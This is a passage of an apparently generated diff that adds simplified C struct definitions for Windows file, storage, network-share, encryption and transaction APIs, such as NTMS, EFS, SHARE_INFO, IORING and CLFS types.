FILE_REMOTE_PROTOCOL_INFO; + +typedef struct _NTMS_OBJECTINFORMATIONW { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned short szName[64]; + unsigned short szDescription[127]; + void* Info; +} NTMS_OBJECTINFORMATIONW; + +typedef struct _HIORING { + void* Value; +} HIORING; + +typedef struct _VOLUME_READ_PLEX_INPUT { + long long ByteOffset; + unsigned int Length; + unsigned int PlexNumber; +} VOLUME_READ_PLEX_INPUT; + +typedef struct _EFS_KEY_INFO { + unsigned int dwVersion; + unsigned int Entropy; + void* Algorithm; + unsigned int KeyLength; +} EFS_KEY_INFO; + +typedef struct _VOLUME_ALLOCATION_HINT_INPUT { + unsigned int ClusterSize; + unsigned int NumberOfClusters; + long long StartingClusterNumber; +} VOLUME_ALLOCATION_HINT_INPUT; + +typedef struct _SHARE_INFO_1006 { + unsigned int shi1006_max_uses; +} SHARE_INFO_1006; + +typedef struct _VOLUME_SET_GPT_ATTRIBUTES_INFORMATION { + unsigned long long GptAttributes; + BOOL RevertOnClose; + BOOL ApplyToAllConnectedVolumes; + unsigned short Reserved1; + unsigned int Reserved2; +} VOLUME_SET_GPT_ATTRIBUTES_INFORMATION; + +typedef struct _IORING_HANDLE_REF { + void* Kind; + void* Handle; +} IORING_HANDLE_REF; + +typedef struct _TRANSACTION_NOTIFICATION_SAVEPOINT_ARGUMENT { + unsigned int SavepointId; +} TRANSACTION_NOTIFICATION_SAVEPOINT_ARGUMENT; + +typedef struct _EFS_ENCRYPTION_STATUS_INFO { + BOOL bHasCurrentKey; + unsigned int dwEncryptionError; +} EFS_ENCRYPTION_STATUS_INFO; + +typedef struct _NTMS_IEPORTINFORMATION { + unsigned int Number; + unsigned int Content; + unsigned int Position; + unsigned short MaxExtendSecs; + void* Library; +} NTMS_IEPORTINFORMATION; + +typedef struct _CLFS_MGMT_NOTIFICATION { + void* Notification; + void* Lsn; + unsigned short LogIsPinned; +} CLFS_MGMT_NOTIFICATION; + +typedef struct _ENCRYPTION_CERTIFICATE_LIST { + unsigned int nUsers; + void* pUsers; +} ENCRYPTION_CERTIFICATE_LIST; + +typedef struct _SESSION_INFO_502 { + void* sesi502_cname; + void* sesi502_username; + unsigned int sesi502_num_opens; + unsigned int sesi502_time; + unsigned int sesi502_idle_time; + void* sesi502_user_flags; + void* sesi502_cltype_name; + void* sesi502_transport; +} SESSION_INFO_502; + +typedef struct _SHARE_INFO_1005 { + unsigned int shi1005_flags; +} SHARE_INFO_1005; + +typedef struct _CONNECTION_INFO_0 { + unsigned int coni0_id; +} CONNECTION_INFO_0; + +typedef struct _FILE_ID_DESCRIPTOR { + unsigned int dwSize; + void* Type; + void* Anonymous; +} FILE_ID_DESCRIPTOR; + +typedef struct _FILE_FULL_DIR_INFO { + unsigned int NextEntryOffset; + unsigned int FileIndex; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long EndOfFile; + long long AllocationSize; + unsigned int FileAttributes; + unsigned int FileNameLength; + unsigned int EaSize; + unsigned short FileName[1]; +} FILE_FULL_DIR_INFO; + +typedef struct _EFS_RPC_BLOB { + unsigned int cbData; + void* pbData; +} EFS_RPC_BLOB; + +typedef struct _NTMS_CHANGERTYPEINFORMATIONW { + unsigned short szVendor[128]; + unsigned short szProduct[128]; + unsigned int DeviceType; +} NTMS_CHANGERTYPEINFORMATIONW; + +typedef struct _SHARE_INFO_502 { + void* shi502_netname; + void* shi502_type; + void* shi502_remark; + void* shi502_permissions; + unsigned int shi502_max_uses; + unsigned int shi502_current_uses; + void* shi502_path; + void* shi502_passwd; + unsigned int shi502_reserved; + void* shi502_security_descriptor; +} SHARE_INFO_502; + +typedef struct _NTMS_PARTITIONINFORMATIONA { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned char szOmidLabelType[64]; + unsigned char szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; + long long Capacity; +} NTMS_PARTITIONINFORMATIONA; + +typedef struct _SESSION_INFO_0 { + void* sesi0_cname; +} SESSION_INFO_0; + +typedef struct _CREATEFILE3_EXTENDED_PARAMETERS { + unsigned int dwSize; + unsigned int dwFileAttributes; + unsigned int dwFileFlags; + unsigned int dwSecurityQosFlags; + void* lpSecurityAttributes; + void* hTemplateFile; +} CREATEFILE3_EXTENDED_PARAMETERS; + +typedef struct _SHARE_INFO_501 { + void* shi501_netname; + void* shi501_type; + void* shi501_remark; + unsigned int shi501_flags; +} SHARE_INFO_501; + +typedef struct _VOLUME_SHRINK_INFO { + unsigned long long VolumeSize; +} VOLUME_SHRINK_INFO; + +typedef struct _WOF_FILE_COMPRESSION_INFO_V1 { + unsigned int Algorithm; + unsigned int Flags; +} WOF_FILE_COMPRESSION_INFO_V1; + +typedef struct _NAME_CACHE_CONTEXT { + unsigned int m_dwSignature; +} NAME_CACHE_CONTEXT; + +typedef struct _FILE_ID_EXTD_DIR_INFO { + unsigned int NextEntryOffset; + unsigned int FileIndex; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long EndOfFile; + long long AllocationSize; + unsigned int FileAttributes; + unsigned int FileNameLength; + unsigned int EaSize; + unsigned int ReparsePointTag; + void* FileId; + unsigned short FileName[1]; +} FILE_ID_EXTD_DIR_INFO; + +typedef struct _NTMS_IEDOORINFORMATION { + unsigned int Number; + unsigned int State; + unsigned short MaxOpenSecs; + void* Library; +} NTMS_IEDOORINFORMATION; + +typedef struct _NTMS_I1_LIBRARYINFORMATION { + unsigned int LibraryType; + void* CleanerSlot; + void* CleanerSlotDefault; + BOOL LibrarySupportsDriveCleaning; + BOOL BarCodeReaderInstalled; + unsigned int InventoryMethod; + unsigned int dwCleanerUsesRemaining; + unsigned int FirstDriveNumber; + unsigned int dwNumberOfDrives; + unsigned int FirstSlotNumber; + unsigned int dwNumberOfSlots; + unsigned int FirstDoorNumber; + unsigned int dwNumberOfDoors; + unsigned int FirstPortNumber; + unsigned int dwNumberOfPorts; + unsigned int FirstChangerNumber; + unsigned int dwNumberOfChangers; + unsigned int dwNumberOfMedia; + unsigned int dwNumberOfMediaTypes; + unsigned int dwNumberOfLibRequests; + void* Reserved; +} NTMS_I1_LIBRARYINFORMATION; + +typedef struct _TAPE_PREPARE { + void* Operation; + BOOL Immediate; +} TAPE_PREPARE; + +typedef struct _SHARE_INFO_1503 { + void* shi1503_sharefilter; +} SHARE_INFO_1503; + +typedef struct _IORING_CAPABILITIES { + void* MaxVersion; + unsigned int MaxSubmissionQueueSize; + unsigned int MaxCompletionQueueSize; + void* FeatureFlags; +} IORING_CAPABILITIES; + +typedef struct _VS_FIXEDFILEINFO { + unsigned int dwSignature; + unsigned int dwStrucVersion; + unsigned int dwFileVersionMS; + unsigned int dwFileVersionLS; + unsigned int dwProductVersionMS; + unsigned int dwProductVersionLS; + unsigned int dwFileFlagsMask; + void* dwFileFlags; + void* dwFileOS; + unsigned int dwFileType; + unsigned int dwFileSubtype; + unsigned int dwFileDateMS; + unsigned int dwFileDateLS; +} VS_FIXEDFILEINFO; + +typedef struct _NTMS_MEDIATYPEINFORMATION { + unsigned int MediaType; + unsigned int NumberOfSides; + unsigned int ReadWriteCharacteristics; + void* DeviceType; +} NTMS_MEDIATYPEINFORMATION; + +typedef struct _VOLUME_PHYSICAL_OFFSET { + unsigned int DiskNumber; + long long Offset; +} VOLUME_PHYSICAL_OFFSET; + +typedef struct _FILE_ID_128 { + unsigned char Identifier[16]; +} FILE_ID_128; + +typedef struct _NTMS_LMIDINFORMATION { + void* MediaPool; + unsigned int dwNumberOfPartitions; +} NTMS_LMIDINFORMATION; + +typedef struct _FILE_DISPOSITION_INFO { + BOOL DeleteFile; +} FILE_DISPOSITION_INFO; + +typedef struct _NTMS_CHANGERINFORMATIONA { + unsigned int Number; + void* ChangerType; + unsigned char szSerialNumber[32]; + unsigned char szRevision[32]; + unsigned char szDeviceName[64]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + void* Library; +} NTMS_CHANGERINFORMATIONA; + +typedef struct _TRANSACTION_NOTIFICATION_MARSHAL_ARGUMENT { + unsigned int MarshalCookie; + void* UOW; +} TRANSACTION_NOTIFICATION_MARSHAL_ARGUMENT; + +typedef struct _NTMS_CHANGERINFORMATIONW { + unsigned int Number; + void* ChangerType; + unsigned short szSerialNumber[32]; + unsigned short szRevision[32]; + unsigned short szDeviceName[64]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + void* Library; +} NTMS_CHANGERINFORMATIONW; + +typedef struct _DISKQUOTA_USER_INFORMATION { + long long QuotaUsed; + long long QuotaThreshold; + long long QuotaLimit; +} DISKQUOTA_USER_INFORMATION; + +typedef struct _NTMS_FILESYSTEM_INFO { + unsigned short FileSystemType[64]; + unsigned short VolumeName[256]; + unsigned int SerialNumber; +} NTMS_FILESYSTEM_INFO; + +typedef struct _SHARE_INFO_503 { + void* shi503_netname; + void* shi503_type; + void* shi503_remark; + void* shi503_permissions; + unsigned int shi503_max_uses; + unsigned int shi503_current_uses; + void* shi503_path; + void* shi503_passwd; + void* shi503_servername; + unsigned int shi503_reserved; + void* shi503_security_descriptor; +} SHARE_INFO_503; + +typedef struct _FILE_INFO_3 { + unsigned int fi3_id; + void* fi3_permissions; + unsigned int fi3_num_locks; + void* fi3_pathname; + void* fi3_username; +} FILE_INFO_3; + +typedef struct _OFSTRUCT { + unsigned char cBytes; + unsigned char fFixedDisk; + unsigned short nErrCode; + unsigned short Reserved1; + unsigned short Reserved2; + unsigned char szPathName[128]; +} OFSTRUCT; + +typedef struct _COPYFILE2_MESSAGE { + void* Type; + unsigned int dwPadding; + void* Info; +} COPYFILE2_MESSAGE; + +typedef struct _FILE_STREAM_INFO { + unsigned int NextEntryOffset; + unsigned int StreamNameLength; + long long StreamSize; + long long StreamAllocationSize; + unsigned short StreamName[1]; +} FILE_STREAM_INFO; + +typedef struct _FILE_COMPRESSION_INFO { + long long CompressedFileSize; + void* CompressionFormat; + unsigned char CompressionUnitShift; + unsigned char ChunkShift; + unsigned char ClusterShift; + unsigned char Reserved[3]; +} FILE_COMPRESSION_INFO; + +typedef struct _EFS_COMPATIBILITY_INFO { + unsigned int EfsVersion; +} EFS_COMPATIBILITY_INFO; + +typedef struct _FH_OVERLAPPED { + unsigned long long Internal; + unsigned long long InternalHigh; + unsigned int Offset; + unsigned int OffsetHigh; + void* hEvent; + void* pfnCompletion; + unsigned long long Reserved1; + unsigned long long Reserved2; + unsigned long long Reserved3; + unsigned long long Reserved4; +} FH_OVERLAPPED; + +typedef struct _SHARE_INFO_0 { + void* shi0_netname; +} SHARE_INFO_0; + +typedef struct _TAPE_GET_POSITION { + void* Type; + unsigned int Partition; + long long Offset; +} TAPE_GET_POSITION; + +typedef struct _CLFS_MGMT_POLICY { + unsigned int Version; + unsigned int LengthInBytes; + unsigned int PolicyFlags; + void* PolicyType; + void* PolicyParameters; +} CLFS_MGMT_POLICY; + +typedef struct _COPYFILE2_EXTENDED_PARAMETERS { + unsigned int dwSize; + void* dwCopyFlags; + void* pfCancel; + void* pProgressRoutine; + void* pvCallbackContext; +} COPYFILE2_EXTENDED_PARAMETERS; + +typedef struct _NTMS_I1_PARTITIONINFORMATIONA { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned char szOmidLabelType[64]; + unsigned char szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; +} NTMS_I1_PARTITIONINFORMATIONA; + +typedef struct _KCRM_TRANSACTION_BLOB { + void* UOW; + void* TmIdentity; + unsigned int IsolationLevel; + unsigned int IsolationFlags; + unsigned int Timeout; + unsigned short Description[64]; +} KCRM_TRANSACTION_BLOB; + +typedef struct _ENCRYPTION_PROTECTOR_LIST { + unsigned int nProtectors; + void* pProtectors; +} ENCRYPTION_PROTECTOR_LIST; + +typedef struct _IORING_CQE { + unsigned long long UserData; + int ResultCode; + unsigned long long Information; +} IORING_CQE; + +typedef struct _CLFS_LOG_NAME_INFORMATION { + unsigned short NameLengthInBytes; + unsigned short Name[1]; +} CLFS_LOG_NAME_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFO { + unsigned int AlignmentRequirement; +} FILE_ALIGNMENT_INFO; + +typedef struct _NTMS_I1_OPREQUESTINFORMATIONW { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned short szMessage[127]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; +} NTMS_I1_OPREQUESTINFORMATIONW; + +typedef struct _NTMS_I1_PMIDINFORMATIONA { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned char szBarCode[64]; + unsigned int BarCodeState; + unsigned char szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; +} NTMS_I1_PMIDINFORMATIONA; + +typedef struct _LOG_MANAGEMENT_CALLBACKS { + void* CallbackContext; + void* AdvanceTailCallback; + void* LogFullHandlerCallback; + void* LogUnpinnedCallback; +} LOG_MANAGEMENT_CALLBACKS; + +typedef struct _VOLUME_PHYSICAL_OFFSETS { + unsigned int NumberOfPhysicalOffsets; + void* PhysicalOffset[1]; +} VOLUME_PHYSICAL_OFFSETS; + +typedef struct _CLS_LSN { + unsigned long long Internal; +} CLS_LSN; + +typedef struct _FILE_INFO_2 { + unsigned int fi2_id; +} FILE_INFO_2; + +typedef struct _FILE_SEGMENT_ELEMENT { + void* Buffer; + unsigned long long Alignment; +} FILE_SEGMENT_ELEMENT; + +typedef struct _REPARSE_GUID_DATA_BUFFER { + unsigned int ReparseTag; + unsigned short ReparseDataLength; + unsigned short Reserved; + void* ReparseGuid; + void* GenericReparseBuffer; +} REPARSE_GUID_DATA_BUFFER; + +typedef struct _TAPE_WRITE_MARKS { + void* Type; + unsigned int Count; + BOOL Immediate; +} TAPE_WRITE_MARKS; + +typedef struct _CLS_SCAN_CONTEXT { + void* cidNode; + void* hLog; + unsigned int cIndex; + unsigned int cContainers; + unsigned int cContainersReturned; + unsigned char eScanMode; + void* pinfoContainer; +} CLS_SCAN_CONTEXT; + +typedef struct _IORING_INFO { + void* IoRingVersion; + void* Flags; + unsigned int SubmissionQueueSize; + unsigned int CompletionQueueSize; +} IORING_INFO; + +typedef struct _VOLUME_NUMBER { + unsigned int VolumeNumber; + unsigned short VolumeManagerName[8]; +} VOLUME_NUMBER; + +typedef struct _WIN32_STREAM_ID { + void* dwStreamId; + unsigned int dwStreamAttributes; + long long Size; + unsigned int dwStreamNameSize; + unsigned short cStreamName[1]; +} WIN32_STREAM_ID; + +typedef struct _NTMS_I1_PARTITIONINFORMATIONW { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned short szOmidLabelType[64]; + unsigned short szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; +} NTMS_I1_PARTITIONINFORMATIONW; + +typedef struct _VOLUME_FAILOVER_SET { + unsigned int NumberOfDisks; + unsigned int DiskNumbers[1]; +} VOLUME_FAILOVER_SET; + +typedef struct _SESSION_INFO_1 { + void* sesi1_cname; + void* sesi1_username; + unsigned int sesi1_num_opens; + unsigned int sesi1_time; + unsigned int sesi1_idle_time; + void* sesi1_user_flags; +} SESSION_INFO_1; + +typedef struct _NTMS_LIBREQUESTINFORMATIONW { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; + unsigned int dwErrorCode; + void* WorkItemId; + unsigned int dwPriority; +} NTMS_LIBREQUESTINFORMATIONW; + +typedef struct _NTMS_I1_LIBREQUESTINFORMATIONA { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; +} NTMS_I1_LIBREQUESTINFORMATIONA; + +typedef struct _TXF_ID { + void* Anonymous; +} TXF_ID; + +typedef struct _NTMS_PARTITIONINFORMATIONW { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned short szOmidLabelType[64]; + unsigned short szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; + long long Capacity; +} NTMS_PARTITIONINFORMATIONW; + +typedef struct _SHARE_INFO_1 { + void* shi1_netname; + void* shi1_type; + void* shi1_remark; +} SHARE_INFO_1; + +typedef struct _TXF_LOG_RECORD_WRITE { + unsigned short Version; + unsigned short RecordType; + unsigned int RecordLength; + unsigned int Flags; + void* TxfFileId; + void* KtmGuid; + long long ByteOffsetInFile; + unsigned int NumBytesWritten; + unsigned int ByteOffsetInStructure; + unsigned int FileNameLength; + unsigned int FileNameByteOffsetInStructure; +} TXF_LOG_RECORD_WRITE; + +typedef struct _FILE_NOTIFY_INFORMATION { + unsigned int NextEntryOffset; + void* Action; + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_NOTIFY_INFORMATION; + +typedef struct _EFS_VERSION_INFO { + unsigned int EfsVersion; + unsigned int SubVersion; +} EFS_VERSION_INFO; + +typedef struct _EFS_CERTIFICATE_BLOB { + unsigned int dwCertEncodingType; + unsigned int cbData; + void* pbData; +} EFS_CERTIFICATE_BLOB; + +typedef struct _COPYFILE2_CREATE_OPLOCK_KEYS { + void* ParentOplockKey; + void* TargetOplockKey; +} COPYFILE2_CREATE_OPLOCK_KEYS; + +typedef struct _FILE_CASE_SENSITIVE_INFO { + unsigned int Flags; +} FILE_CASE_SENSITIVE_INFO; + +typedef struct _FILE_ATTRIBUTE_TAG_INFO { + unsigned int FileAttributes; + unsigned int ReparseTag; +} FILE_ATTRIBUTE_TAG_INFO; + +typedef struct _TRANSACTION_NOTIFICATION { + void* TransactionKey; + unsigned int TransactionNotification; + long long TmVirtualClock; + unsigned int ArgumentLength; +} TRANSACTION_NOTIFICATION; + +typedef struct _NTMS_PMIDINFORMATIONW { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned short szBarCode[64]; + unsigned int BarCodeState; + unsigned short szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; + unsigned int dwMediaTypeCode; + unsigned int dwDensityCode; + void* MountedPartition; +} NTMS_PMIDINFORMATIONW; + +typedef struct _FILE_RENAME_INFO { + void* Anonymous; + void* RootDirectory; + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_RENAME_INFO; + +typedef struct _BY_HANDLE_FILE_INFORMATION { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int dwVolumeSerialNumber; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; + unsigned int nNumberOfLinks; + unsigned int nFileIndexHigh; + unsigned int nFileIndexLow; +} BY_HANDLE_FILE_INFORMATION; + +typedef struct _WIN32_FIND_STREAM_DATA { + long long StreamSize; + unsigned short cStreamName[296]; +} WIN32_FIND_STREAM_DATA; + +typedef struct _NTMS_MEDIAPOOLINFORMATION { + unsigned int PoolType; + void* MediaType; + void* Parent; + unsigned int AllocationPolicy; + unsigned int DeallocationPolicy; + unsigned int dwMaxAllocates; + unsigned int dwNumberOfPhysicalMedia; + unsigned int dwNumberOfLogicalMedia; + unsigned int dwNumberOfMediaPools; +} NTMS_MEDIAPOOLINFORMATION; + +typedef struct _FILE_EXTENT { + unsigned long long VolumeOffset; + unsigned long long ExtentLength; +} FILE_EXTENT; + +typedef struct _IORING_CREATE_FLAGS { + void* Required; + void* Advisory; +} IORING_CREATE_FLAGS; + +typedef struct _FILE_STAT_BASIC_INFORMATION { + long long FileId; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long AllocationSize; + long long EndOfFile; + unsigned int FileAttributes; + unsigned int ReparseTag; + unsigned int NumberOfLinks; + unsigned int DeviceType; + unsigned int DeviceCharacteristics; + unsigned int Reserved; + long long VolumeSerialNumber; + void* FileId128; +} FILE_STAT_BASIC_INFORMATION; + +typedef struct _NTMS_DRIVEINFORMATIONA { + unsigned int Number; + unsigned int State; + void* DriveType; + unsigned char szDeviceName[64]; + unsigned char szSerialNumber[32]; + unsigned char szRevision[32]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + unsigned int dwMountCount; + void* LastCleanedTs; + void* SavedPartitionId; + void* Library; + void* Reserved; + unsigned int dwDeferDismountDelay; +} NTMS_DRIVEINFORMATIONA; + +typedef struct _SERVER_ALIAS_INFO_0 { + void* srvai0_alias; + void* srvai0_target; + BOOL srvai0_default; + unsigned int srvai0_reserved; +} SERVER_ALIAS_INFO_0; + +typedef struct _EFS_DECRYPTION_STATUS_INFO { + unsigned int dwDecryptionError; + unsigned int dwHashOffset; + unsigned int cbHash; +} EFS_DECRYPTION_STATUS_INFO; + +typedef struct _FILE_NOTIFY_EXTENDED_INFORMATION { + unsigned int NextEntryOffset; + void* Action; + long long CreationTime; + long long LastModificationTime; + long long LastChangeTime; + long long LastAccessTime; + long long AllocatedLength; + long long FileSize; + unsigned int FileAttributes; + void* Anonymous; + long long FileId; + long long ParentFileId; + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_NOTIFY_EXTENDED_INFORMATION; + +typedef struct _NTMS_OPREQUESTINFORMATIONW { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned short szMessage[256]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; +} NTMS_OPREQUESTINFORMATIONW; + +typedef struct _WIN32_FIND_DATAA { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; + unsigned int dwReserved0; + unsigned int dwReserved1; + unsigned char cFileName[260]; + unsigned char cAlternateFileName[14]; +} WIN32_FIND_DATAA; + +typedef struct _MediaLabelInfo { + unsigned short LabelType[64]; + unsigned int LabelIDSize; + unsigned char LabelID[256]; + unsigned short LabelAppDescr[256]; +} MediaLabelInfo; + +typedef struct _TAPE_SET_POSITION { + void* Method; + unsigned int Partition; + long long Offset; + BOOL Immediate; +} TAPE_SET_POSITION; + +typedef struct _EFS_PIN_BLOB { + unsigned int cbPadding; + unsigned int cbData; + void* pbData; +} EFS_PIN_BLOB; + +typedef struct _NTMS_DRIVETYPEINFORMATIONA { + unsigned char szVendor[128]; + unsigned char szProduct[128]; + unsigned int NumberOfHeads; + void* DeviceType; +} NTMS_DRIVETYPEINFORMATIONA; + +typedef struct _TRANSACTION_NOTIFICATION_PROPAGATE_ARGUMENT { + unsigned int PropagationCookie; + void* UOW; + void* TmIdentity; + unsigned int BufferLength; +} TRANSACTION_NOTIFICATION_PROPAGATE_ARGUMENT; + +typedef struct _WIM_ENTRY_INFO { + unsigned int WimEntryInfoSize; + unsigned int WimType; + long long DataSourceId; + void* WimGuid; + void* WimPath; + unsigned int WimIndex; + unsigned int Flags; +} WIM_ENTRY_INFO; + +typedef struct _VOLUME_ALLOCATION_HINT_OUTPUT { + unsigned int Bitmap[1]; +} VOLUME_ALLOCATION_HINT_OUTPUT; + +typedef struct _VOLUME_CRITICAL_IO { + unsigned int AccessType; + unsigned int ExtentsCount; + void* Extents[1]; +} VOLUME_CRITICAL_IO; + +typedef struct _CLFS_NODE_ID { + unsigned int cType; + unsigned int cbNode; +} CLFS_NODE_ID; + +typedef struct _NTMS_I1_OBJECTINFORMATIONA { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned char szName[64]; + unsigned char szDescription[127]; + void* Info; +} NTMS_I1_OBJECTINFORMATIONA; + +typedef struct _CLS_IO_STATISTICS { + void* hdrIoStats; + unsigned long long cFlush; + unsigned long long cbFlush; + unsigned long long cMetaFlush; + unsigned long long cbMetaFlush; +} CLS_IO_STATISTICS; + +typedef struct _WOF_FILE_COMPRESSION_INFO_V0 { + unsigned int Algorithm; +} WOF_FILE_COMPRESSION_INFO_V0; + +typedef struct _SHARE_INFO_1004 { + void* shi1004_remark; +} SHARE_INFO_1004; + +typedef struct _NTMS_I1_OPREQUESTINFORMATIONA { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned char szMessage[127]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; +} NTMS_I1_OPREQUESTINFORMATIONA; + +typedef struct _NTMS_MOUNT_INFORMATION { + unsigned int dwSize; + void* lpReserved; +} NTMS_MOUNT_INFORMATION; + +typedef struct _NTMS_ASYNC_IO { + void* OperationId; + void* EventId; + unsigned int dwOperationType; + unsigned int dwResult; + unsigned int dwAsyncState; + void* hEvent; + BOOL bOnStateChange; +} NTMS_ASYNC_IO; + +typedef struct _FILE_ID_INFO { + unsigned long long VolumeSerialNumber; + void* FileId; +} FILE_ID_INFO; + +typedef struct _WIN32_FILE_ATTRIBUTE_DATA { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; +} WIN32_FILE_ATTRIBUTE_DATA; + +typedef struct _IORING_REGISTERED_BUFFER { + unsigned int BufferIndex; + unsigned int Offset; +} IORING_REGISTERED_BUFFER; + +typedef struct _NTMS_COMPUTERINFORMATION { + unsigned int dwLibRequestPurgeTime; + unsigned int dwOpRequestPurgeTime; + unsigned int dwLibRequestFlags; + unsigned int dwOpRequestFlags; + unsigned int dwMediaPoolPolicy; +} NTMS_COMPUTERINFORMATION; + +typedef struct _DISK_SPACE_INFORMATION { + unsigned long long ActualTotalAllocationUnits; + unsigned long long ActualAvailableAllocationUnits; + unsigned long long ActualPoolUnavailableAllocationUnits; + unsigned long long CallerTotalAllocationUnits; + unsigned long long CallerAvailableAllocationUnits; + unsigned long long CallerPoolUnavailableAllocationUnits; + unsigned long long UsedAllocationUnits; + unsigned long long TotalReservedAllocationUnits; + unsigned long long VolumeStorageReserveAllocationUnits; + unsigned long long AvailableCommittedAllocationUnits; + unsigned long long PoolAvailableAllocationUnits; + unsigned int SectorsPerAllocationUnit; + unsigned int BytesPerSector; +} DISK_SPACE_INFORMATION; + +typedef struct _ENCRYPTION_PROTECTOR { + unsigned int cbTotalLength; + void* pUserSid; + void* lpProtectorDescriptor; +} ENCRYPTION_PROTECTOR; + +typedef struct _TXF_LOG_RECORD_TRUNCATE { + unsigned short Version; + unsigned short RecordType; + unsigned int RecordLength; + unsigned int Flags; + void* TxfFileId; + void* KtmGuid; + long long NewFileSize; + unsigned int FileNameLength; + unsigned int FileNameByteOffsetInStructure; +} TXF_LOG_RECORD_TRUNCATE; + +typedef struct _FIO_CONTEXT { + unsigned int m_dwTempHack; + unsigned int m_dwSignature; + void* m_hFile; + unsigned int m_dwLinesOffset; + unsigned int m_dwHeaderLength; +} FIO_CONTEXT; + +typedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST { + unsigned int nCert_Hash; + void* pUsers; +} ENCRYPTION_CERTIFICATE_HASH_LIST; + +typedef struct _TXF_LOG_RECORD_AFFECTED_FILE { + unsigned short Version; + unsigned int RecordLength; + unsigned int Flags; + void* TxfFileId; + void* KtmGuid; + unsigned int FileNameLength; + unsigned int FileNameByteOffsetInStructure; +} TXF_LOG_RECORD_AFFECTED_FILE; + +typedef struct _CREATEFILE2_EXTENDED_PARAMETERS { + unsigned int dwSize; + unsigned int dwFileAttributes; + unsigned int dwFileFlags; + unsigned int dwSecurityQosFlags; + void* lpSecurityAttributes; + void* hTemplateFile; +} CREATEFILE2_EXTENDED_PARAMETERS; + +typedef struct _FILE_ID_BOTH_DIR_INFO { + unsigned int NextEntryOffset; + unsigned int FileIndex; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long EndOfFile; + long long AllocationSize; + unsigned int FileAttributes; + unsigned int FileNameLength; + unsigned int EaSize; + signed char ShortNameLength; + unsigned short ShortName[12]; + long long FileId; + unsigned short FileName[1]; +} FILE_ID_BOTH_DIR_INFO; + +typedef struct _VOLUME_LOGICAL_OFFSET { + long long LogicalOffset; +} VOLUME_LOGICAL_OFFSET; + +typedef struct _NTMS_I1_LIBREQUESTINFORMATIONW { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; +} NTMS_I1_LIBREQUESTINFORMATIONW; + +typedef struct _NTMS_I1_PMIDINFORMATIONW { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; 